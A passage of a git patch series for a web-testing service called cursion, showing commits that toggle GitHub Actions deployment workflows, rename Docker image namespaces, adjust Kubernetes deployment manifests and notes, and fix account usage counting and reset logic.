 .github/workflows/k8s-deploy.yaml | 122 +++++++++++++++---------------
 2 files changed, 93 insertions(+), 93 deletions(-)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index 704b58cf..dac20bfa 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -1,34 +1,34 @@
-name: Deploy to dev
+# name: Deploy to dev
 
-# Controls when the action will run.
-on:
-  # Triggers the workflow on push request on the main branch for changes in the specified paths.
-  push:
-    branches:
-      - dev
-    paths:
-      - 'app/**'
-      - 'Dockerfile'
-      - 'Dockerfile.dev'
-      - 'docker-compose.dev.yml'
-      - '.github/workflows/**'
+# # Controls when the action will run.
+# on:
+#   # Triggers the workflow on push request on the main branch for changes in the specified paths.
+#   push:
+#     branches:
+#       - dev
+#     paths:
+#       - 'app/**'
+#       - 'Dockerfile'
+#       - 'Dockerfile.dev'
+#       - 'docker-compose.dev.yml'
+#       - '.github/workflows/**'
 
-jobs:
-  build:
-    name: Build
-    runs-on: ubuntu-latest
-    timeout-minutes: 30
-    steps:
-    - name: pulling latest dev commit and rebuilding app
-      uses: appleboy/ssh-action@v1.0.0
-      with:
-        host: ${{ secrets.DEV_HOST }}
-        username: ${{ secrets.DEV_USER }}
-        key: ${{ secrets.DEV_KEY }}
-        command_timeout: 30m
-        script: | 
-          cd ~/app
-          git pull origin dev
-          docker compose -f docker-compose.dev.yml down
-          docker volume rm app_app app_beat app_celery
-          docker compose -f docker-compose.dev.yml up -d --build
\ No newline at end of file
+# jobs:
+#   build:
+#     name: Build
+#     runs-on: ubuntu-latest
+#     timeout-minutes: 30
+#     steps:
+#     - name: pulling latest dev commit and rebuilding app
+#       uses: appleboy/ssh-action@v1.0.0
+#       with:
+#         host: ${{ secrets.DEV_HOST }}
+#         username: ${{ secrets.DEV_USER }}
+#         key: ${{ secrets.DEV_KEY }}
+#         command_timeout: 30m
+#         script: | 
+#           cd ~/app
+#           git pull origin dev
+#           docker compose -f docker-compose.dev.yml down
+#           docker volume rm app_app app_beat app_celery
+#           docker compose -f docker-compose.dev.yml up -d --build
\ No newline at end of file
diff --git a/.github/workflows/k8s-deploy.yaml b/.github/workflows/k8s-deploy.yaml
index ad2031de..ea3a819c 100644
--- a/.github/workflows/k8s-deploy.yaml
+++ b/.github/workflows/k8s-deploy.yaml
@@ -1,76 +1,76 @@
-# This workfow shows how to build a Docker image, tag and push it to Docker Hub Container Registry, and
-# deploy the application on a DigitalOcean Kubernetes cluster. For description to the entire worklow, 
-# see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
+# # This workfow shows how to build a Docker image, tag and push it to Docker Hub Container Registry, and
+# # deploy the application on a DigitalOcean Kubernetes cluster. For description to the entire worklow, 
+# # see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
 
-name: Deploy to cursion-k8s
+# name: Deploy to cursion-k8s
 
-# Controls when the action will run.
-on:
-  # Triggers the workflow on push request on the main branch for changes in the specified paths.
-  push:
-    branches:
-      - main
-    paths:
-      - 'app/**'
-      - 'k8s/prod/**'
-      - 'Dockerfile'
-      - '.github/workflows/**'
+# # Controls when the action will run.
+# on:
+#   # Triggers the workflow on push request on the main branch for changes in the specified paths.
+#   push:
+#     branches:
+#       - main
+#     paths:
+#       - 'app/**'
+#       - 'k8s/prod/**'
+#       - 'Dockerfile'
+#       - '.github/workflows/**'
 
-# A workflow run is made up of one or more jobs that can run sequentially or in parallel.
-jobs:
-  # This workflow contains a single job called "build".
-  build:
-    # The type of runner that the job will run on.
-    runs-on: ubuntu-latest
-    timeout-minutes: 30
+# # A workflow run is made up of one or more jobs that can run sequentially or in parallel.
+# jobs:
+#   # This workflow contains a single job called "build".
+#   build:
+#     # The type of runner that the job will run on.
+#     runs-on: ubuntu-latest
+#     timeout-minutes: 30
     
-    # Steps represent a sequence of tasks that will be executed as part of the job
-    steps:
+#     # Steps represent a sequence of tasks that will be executed as part of the job
+#     steps:
 
-    # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
-    - name: Checkout main
-      uses: actions/checkout@main
+#     # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
+#     - name: Checkout main
+#       uses: actions/checkout@main
 
-    # Install doctl.
-    - name: Install doctl
-      uses: digitalocean/action-doctl@v2
-      with:
-        token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
+#     # Install doctl.
+#     - name: Install doctl
+#       uses: digitalocean/action-doctl@v2
+#       with:
+#         token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
     
-    # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
-    - name: Build container image
-      run: docker build -t ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7) .
+#     # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
+#     - name: Build container image
+#       run: docker build -t ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7) .
 
-    - name: Log in to Docker Hub Container Registry with short-lived credentialse
-      run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }}
+#     - name: Log in to Docker Hub Container Registry with short-lived credentialse
+#       run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }}
 
-    - name: Push image to Docker Hub Container Registry
-      run: docker image push ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7)
+#     - name: Push image to Docker Hub Container Registry
+#       run: docker image push ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7)
 
-    # Update deployment files to reflect new build.
-    - name: Update app deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
+#     # Update deployment files to reflect new build.
+#     - name: Update app deployment file
+#       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
     
-    - name: Update celery deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
+#     - name: Update celery deployment file
+#       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
 
-    - name: Update beat deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
+#     - name: Update beat deployment file
+#       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
 
-    - name: Save DigitalOcean kubeconfig with short-lived credentials
-      run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
+#     - name: Save DigitalOcean kubeconfig with short-lived credentials
+#       run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
     
-    # Re-deploy app, celery and beat
-    - name: Deploy app
-      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
-    - name: Deploy celery 
-      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
-    - name: Deploy beat 
-      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
+#     # Re-deploy app, celery and beat
+#     - name: Deploy app
+#       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
+#     - name: Deploy celery 
+#       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
+#     - name: Deploy beat 
+#       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
 
-    - name: Verify app
-      run: kubectl rollout status deployment/app-deployment
-    - name: Verify celery
-      run: kubectl rollout status deployment/celery-deployment
-    - name: Verify beat
-      run: kubectl rollout status deployment/beat-deployment
+#     - name: Verify app
+#       run: kubectl rollout status deployment/app-deployment
+#     - name: Verify celery
+#       run: kubectl rollout status deployment/celery-deployment
+#     - name: Verify beat
+#       run: kubectl rollout status deployment/beat-deployment

From 2408cf3fba8accfc9ed1802cbec11b5850a7ff89 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 24 Sep 2024 16:58:27 -0600
Subject: [PATCH 0739/1099] updated docker user

---
 docker-compose.dev.yml          | 2 +-
 docker-compose.prod.yml         | 2 +-
 k8s/prod/app-deployment.yaml    | 2 +-
 k8s/prod/beat-deployment.yaml   | 2 +-
 k8s/prod/celery-deployment.yaml | 2 +-
 k8s/prod/ylt-deployment.yaml    | 2 +-
 6 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index cb57041b..8046334c 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -89,7 +89,7 @@ services:
     hostname: yellowlab
     privileged: true
     restart: always
-    image: cursion/ylt
+    image: cursiondev/ylt
     ports:
       - 8383:8383
     depends_on:
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 2354a33b..d798bee4 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -87,7 +87,7 @@ services:
     hostname: yellowlab
     privileged: true
     restart: always
-    image: cursion/ylt
+    image: cursiondev/ylt
     ports:
       - 8383:8383
     depends_on:
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 34a12314..327022e4 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: cursion-server
-          image:  <IMAGE> # cursion/server:49709ea #
+          image:  <IMAGE> # cursiondev/server:49709ea #
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
diff --git a/k8s/prod/beat-deployment.yaml b/k8s/prod/beat-deployment.yaml
index 1ce35625..d7219726 100644
--- a/k8s/prod/beat-deployment.yaml
+++ b/k8s/prod/beat-deployment.yaml
@@ -19,7 +19,7 @@ spec:
         - name: regcred
       containers:
         - name: beat
-          image: <IMAGE> # cursion/server:49709ea # 
+          image: <IMAGE> # cursiondev/server:49709ea # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "beat"]
           envFrom:
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index ff0f1e4c..7d69e863 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -24,7 +24,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # cursion/server:99e2252 # 
+          image: <IMAGE> # cursiondev/server:99e2252 # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "celery"]
           envFrom:
diff --git a/k8s/prod/ylt-deployment.yaml b/k8s/prod/ylt-deployment.yaml
index 24307c2f..b2899d8f 100644
--- a/k8s/prod/ylt-deployment.yaml
+++ b/k8s/prod/ylt-deployment.yaml
@@ -17,7 +17,7 @@ spec:
       terminationGracePeriodSeconds: 30
       containers:
       - name: yellowlab
-        image: cursion/ylt
+        image: cursiondev/ylt
         env:
         - name: POD_IP
           valueFrom:

From 3d5628c2456234e294d3c03791f1f2cd8730990c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 25 Sep 2024 10:04:31 -0600
Subject: [PATCH 0740/1099] updated for new cursion-k8s deployment

---
 .github/workflows/dev-deploy.yaml |  64 ++++++++--------
 .github/workflows/k8s-deploy.yaml | 122 +++++++++++++++---------------
 k8s/prod/app-deployment.yaml      |   2 +-
 k8s/prod/beat-deployment.yaml     |   2 +-
 k8s/prod/celery-deployment.yaml   |   2 +-
 notes/Kubernetes.md               |  12 ++-
 6 files changed, 106 insertions(+), 98 deletions(-)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index dac20bfa..704b58cf 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -1,34 +1,34 @@
-# name: Deploy to dev
+name: Deploy to dev
 
-# # Controls when the action will run.
-# on:
-#   # Triggers the workflow on push request on the main branch for changes in the specified paths.
-#   push:
-#     branches:
-#       - dev
-#     paths:
-#       - 'app/**'
-#       - 'Dockerfile'
-#       - 'Dockerfile.dev'
-#       - 'docker-compose.dev.yml'
-#       - '.github/workflows/**'
+# Controls when the action will run.
+on:
+  # Triggers the workflow on push request on the main branch for changes in the specified paths.
+  push:
+    branches:
+      - dev
+    paths:
+      - 'app/**'
+      - 'Dockerfile'
+      - 'Dockerfile.dev'
+      - 'docker-compose.dev.yml'
+      - '.github/workflows/**'
 
-# jobs:
-#   build:
-#     name: Build
-#     runs-on: ubuntu-latest
-#     timeout-minutes: 30
-#     steps:
-#     - name: pulling latest dev commit and rebuilding app
-#       uses: appleboy/ssh-action@v1.0.0
-#       with:
-#         host: ${{ secrets.DEV_HOST }}
-#         username: ${{ secrets.DEV_USER }}
-#         key: ${{ secrets.DEV_KEY }}
-#         command_timeout: 30m
-#         script: | 
-#           cd ~/app
-#           git pull origin dev
-#           docker compose -f docker-compose.dev.yml down
-#           docker volume rm app_app app_beat app_celery
-#           docker compose -f docker-compose.dev.yml up -d --build
\ No newline at end of file
+jobs:
+  build:
+    name: Build
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    steps:
+    - name: pulling latest dev commit and rebuilding app
+      uses: appleboy/ssh-action@v1.0.0
+      with:
+        host: ${{ secrets.DEV_HOST }}
+        username: ${{ secrets.DEV_USER }}
+        key: ${{ secrets.DEV_KEY }}
+        command_timeout: 30m
+        script: | 
+          cd ~/app
+          git pull origin dev
+          docker compose -f docker-compose.dev.yml down
+          docker volume rm app_app app_beat app_celery
+          docker compose -f docker-compose.dev.yml up -d --build
\ No newline at end of file
diff --git a/.github/workflows/k8s-deploy.yaml b/.github/workflows/k8s-deploy.yaml
index ea3a819c..a700fd14 100644
--- a/.github/workflows/k8s-deploy.yaml
+++ b/.github/workflows/k8s-deploy.yaml
@@ -1,76 +1,76 @@
-# # This workfow shows how to build a Docker image, tag and push it to Docker Hub Container Registry, and
-# # deploy the application on a DigitalOcean Kubernetes cluster. For description to the entire worklow, 
-# # see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
+# This workfow shows how to build a Docker image, tag and push it to Docker Hub Container Registry, and
+# deploy the application on a DigitalOcean Kubernetes cluster. For description to the entire worklow, 
+# see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
 
-# name: Deploy to cursion-k8s
+name: Deploy to cursion-k8s
 
-# # Controls when the action will run.
-# on:
-#   # Triggers the workflow on push request on the main branch for changes in the specified paths.
-#   push:
-#     branches:
-#       - main
-#     paths:
-#       - 'app/**'
-#       - 'k8s/prod/**'
-#       - 'Dockerfile'
-#       - '.github/workflows/**'
+# Controls when the action will run.
+on:
+  # Triggers the workflow on push request on the main branch for changes in the specified paths.
+  push:
+    branches:
+      - main
+    paths:
+      - 'app/**'
+      - 'k8s/prod/**'
+      - 'Dockerfile'
+      - '.github/workflows/**'
 
-# # A workflow run is made up of one or more jobs that can run sequentially or in parallel.
-# jobs:
-#   # This workflow contains a single job called "build".
-#   build:
-#     # The type of runner that the job will run on.
-#     runs-on: ubuntu-latest
-#     timeout-minutes: 30
+# A workflow run is made up of one or more jobs that can run sequentially or in parallel.
+jobs:
+  # This workflow contains a single job called "build".
+  build:
+    # The type of runner that the job will run on.
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
     
-#     # Steps represent a sequence of tasks that will be executed as part of the job
-#     steps:
+    # Steps represent a sequence of tasks that will be executed as part of the job
+    steps:
 
-#     # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
-#     - name: Checkout main
-#       uses: actions/checkout@main
+    # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
+    - name: Checkout main
+      uses: actions/checkout@main
 
-#     # Install doctl.
-#     - name: Install doctl
-#       uses: digitalocean/action-doctl@v2
-#       with:
-#         token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
+    # Install doctl.
+    - name: Install doctl
+      uses: digitalocean/action-doctl@v2
+      with:
+        token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
     
-#     # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
-#     - name: Build container image
-#       run: docker build -t ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7) .
+    # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
+    - name: Build container image
+      run: docker build -t ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7) -t ${{ secrets.REGISTRY_NAME }}/server:latest .
 
-#     - name: Log in to Docker Hub Container Registry with short-lived credentialse
-#       run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }}
+    - name: Log in to Docker Hub Container Registry with short-lived credentialse
+      run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }}
 
-#     - name: Push image to Docker Hub Container Registry
-#       run: docker image push ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7)
+    - name: Push image to Docker Hub Container Registry
+      run: docker image push ${{ secrets.REGISTRY_NAME }}/server --all-tags
 
-#     # Update deployment files to reflect new build.
-#     - name: Update app deployment file
-#       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
+    # Update deployment files to reflect new build.
+    - name: Update app deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
     
-#     - name: Update celery deployment file
-#       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
+    - name: Update celery deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
 
-#     - name: Update beat deployment file
-#       run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
+    - name: Update beat deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
 
-#     - name: Save DigitalOcean kubeconfig with short-lived credentials
-#       run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
+    - name: Save DigitalOcean kubeconfig with short-lived credentials
+      run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
     
-#     # Re-deploy app, celery and beat
-#     - name: Deploy app
-#       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
-#     - name: Deploy celery 
-#       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
-#     - name: Deploy beat 
-#       run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
+    # Re-deploy app, celery and beat
+    - name: Deploy app
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yaml
+    - name: Deploy celery 
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yaml
+    - name: Deploy beat 
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/beat-deployment.yaml
 
-#     - name: Verify app
-#       run: kubectl rollout status deployment/app-deployment
-#     - name: Verify celery
-#       run: kubectl rollout status deployment/celery-deployment
-#     - name: Verify beat
-#       run: kubectl rollout status deployment/beat-deployment
+    - name: Verify app
+      run: kubectl rollout status deployment/app-deployment
+    - name: Verify celery
+      run: kubectl rollout status deployment/celery-deployment
+    - name: Verify beat
+      run: kubectl rollout status deployment/beat-deployment
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 327022e4..2f010b67 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: cursion-server
-          image:  <IMAGE> # cursiondev/server:49709ea #
+          image: <IMAGE> # cursiondev/server:latest # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
diff --git a/k8s/prod/beat-deployment.yaml b/k8s/prod/beat-deployment.yaml
index d7219726..6fb83431 100644
--- a/k8s/prod/beat-deployment.yaml
+++ b/k8s/prod/beat-deployment.yaml
@@ -19,7 +19,7 @@ spec:
         - name: regcred
       containers:
         - name: beat
-          image: <IMAGE> # cursiondev/server:49709ea # 
+          image: <IMAGE> # cursiondev/server:latest # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "beat"]
           envFrom:
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 7d69e863..79af3f60 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -24,7 +24,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # cursiondev/server:99e2252 # 
+          image: <IMAGE> # cursiondev/server:latest # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "celery"]
           envFrom:
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index b8660037..04f92139 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -97,6 +97,14 @@ kubectl port-forward service/app-service 8000:8000
 
 > Ensure you are in the `/server` root directory 
 
+
+
+### 0. Create K8s cluster and Configure context
+``` shell
+doctl kubernetes cluster kubeconfig save {{cluster-name}}
+```
+
+
 ### 1. Create docker secrets  
 ``` shell
 kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username='<username>' --docker-password='<password>' --docker-email='<email>'
@@ -105,8 +113,8 @@ kubectl create secret docker-registry regcred --docker-server=https://index.dock
 
 ### 1. Build Dockerfile into image
 ``` shell
-docker build . -t cursion/server:latest
-docker image push cursion/server:latest
+docker build . -t cursiondev/server:latest --platform linux/amd64
+docker image push cursiondev/server:latest
 ```
 
 

From fed1c4ecaaf3495644d6343dfd38380781e349ed Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 25 Sep 2024 20:32:54 -0600
Subject: [PATCH 0741/1099] fixed testcase increment issue

---
 app/api/v1/ops/services.py | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 2c4dcb65..04fae460 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5125,6 +5125,10 @@ def create_testcase(request: object, delay: bool=False) -> object:
         for update in updates:
             steps[int(update['index'])]['action']['value'] = update['value']
 
+    # increment account.usage.testcase
+    account.usage['testcase'] += 1
+    account.save()
+
     # create new tescase 
     testcase = Testcase.objects.create(
         case = case,

From 9f9446b9a39003ae93aea925c0b813d48dbf85a4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 26 Sep 2024 08:29:11 -0600
Subject: [PATCH 0742/1099] testing deployment pipeline

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 04fae460..737ddb57 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -412,7 +412,7 @@ def check_resource(account: object, resource: str) -> bool:
         'resource' : <str> 'scan', 'test', or 'testcase
     }
 
-    Returns: Bool, True if resource was incremented.
+    Returns: Bool, True if resource can be added.
     """
 
     # define defaults

From b198768493f5535853294ae01330f844338f08cb Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 26 Sep 2024 09:07:30 -0600
Subject: [PATCH 0743/1099] testing new configs for k8s deployment

---
 .github/workflows/k8s-deploy.yaml | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/k8s-deploy.yaml b/.github/workflows/k8s-deploy.yaml
index a700fd14..9b8e5aff 100644
--- a/.github/workflows/k8s-deploy.yaml
+++ b/.github/workflows/k8s-deploy.yaml
@@ -44,8 +44,11 @@ jobs:
     - name: Log in to Docker Hub Container Registry with short-lived credentialse
       run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASS }}
 
-    - name: Push image to Docker Hub Container Registry
-      run: docker image push ${{ secrets.REGISTRY_NAME }}/server --all-tags
+    - name: Push unique tag to Docker Hub Container Registry
+      run: docker image push ${{ secrets.REGISTRY_NAME }}/server:$(echo $GITHUB_SHA | head -c7)
+
+    - name: Push latest tag to Docker Hub Container Registry
+      run: docker image push ${{ secrets.REGISTRY_NAME }}/server:latest
 
     # Update deployment files to reflect new build.
     - name: Update app deployment file

From 4d2672e4670ca50e4fee3959db5a9f4984e35b7e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 26 Sep 2024 10:04:45 -0600
Subject: [PATCH 0744/1099] fixed testcase usage issue

---
 app/api/v1/ops/services.py | 2 +-
 docker-compose.local.yml   | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 737ddb57..80cb9cd0 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5126,7 +5126,7 @@ def create_testcase(request: object, delay: bool=False) -> object:
             steps[int(update['index'])]['action']['value'] = update['value']
 
     # increment account.usage.testcase
-    account.usage['testcase'] += 1
+    account.usage['testcases'] += 1
     account.save()
 
     # create new tescase 
diff --git a/docker-compose.local.yml b/docker-compose.local.yml
index 4c599098..afaca8eb 100644
--- a/docker-compose.local.yml
+++ b/docker-compose.local.yml
@@ -86,7 +86,7 @@ services:
     hostname: yellowlab
     privileged: true
     restart: always
-    image: cursion/ylt
+    image: cursiondev/ylt
     ports:
       - 8383:8383
     depends_on:

From fb1d1482075958c83b1c1891f9d23a6d76ed3c7a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 27 Sep 2024 13:52:58 -0600
Subject: [PATCH 0745/1099] fixed usage reset

---
 app/api/tasks.py | 16 ++++++++++++----
 1 file changed, 12 insertions(+), 4 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 7a856b03..a04594e5 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1694,8 +1694,14 @@ def reset_usage(account):
             # begining of sub payment peroid
             # OR if a specific account was requested
             if today == sub_date or account_id is not None:
+
+                # reset usage
                 reset_usage(account)
 
+                # update account.meta.last_usage_reset
+                account.meta = {'last_usage_reset': today.strftime(f)}
+                account.save()
+
         # check if accout is free
         if account.type == 'free':
 
@@ -1713,12 +1719,14 @@ def reset_usage(account):
 
                 # check if over 30 days
                 if abs((today - last_usage_date).days) >= 30:
+                    
+                    # reset usage
                     reset_usage(account)
 
-            # udpate account.meta.last_usage_reset
-            account.meta = {'last_usage_reset': today.strftime(f)}
-            account.save()
-    
+                    # update account.meta.last_usage_reset
+                    account.meta = {'last_usage_reset': today.strftime(f)}
+                    account.save()
+            
     return None
 
 

From a1cd7daca9b90574bd970485a0af95f6ab014fe9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 30 Sep 2024 12:51:22 -0600
Subject: [PATCH 0746/1099] added beat

---
 notes/Kubernetes.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 04f92139..9ad6d2fb 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -190,7 +190,7 @@ kubectl apply -f ./k8s/prod/kubeip-daemon.yaml
    - `kubectl delete certificate <cert-name>`
    - `kubectl delete secret <sec-name>` ... may have to do this in the k8s dashboard
  - Restart celery, beat, & app deployments for a config-map change:
-   - `kubectl rollout restart deployment app-deployment celery-deployment`
+   - `kubectl rollout restart deployment app-deployment celery-deployment beat-deployment`
  - Check status of deployment rollout
    - `kubectl rollout status deployment/app-deployment`
  - Get Current IPs for pods:

From d687931ebba452254f926fc7d3a13565b0335fde Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 30 Sep 2024 14:56:53 -0600
Subject: [PATCH 0747/1099] updated status for Testcase zapier endpoint

---
 app/api/v1/ops/services.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 80cb9cd0..f776b4a8 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
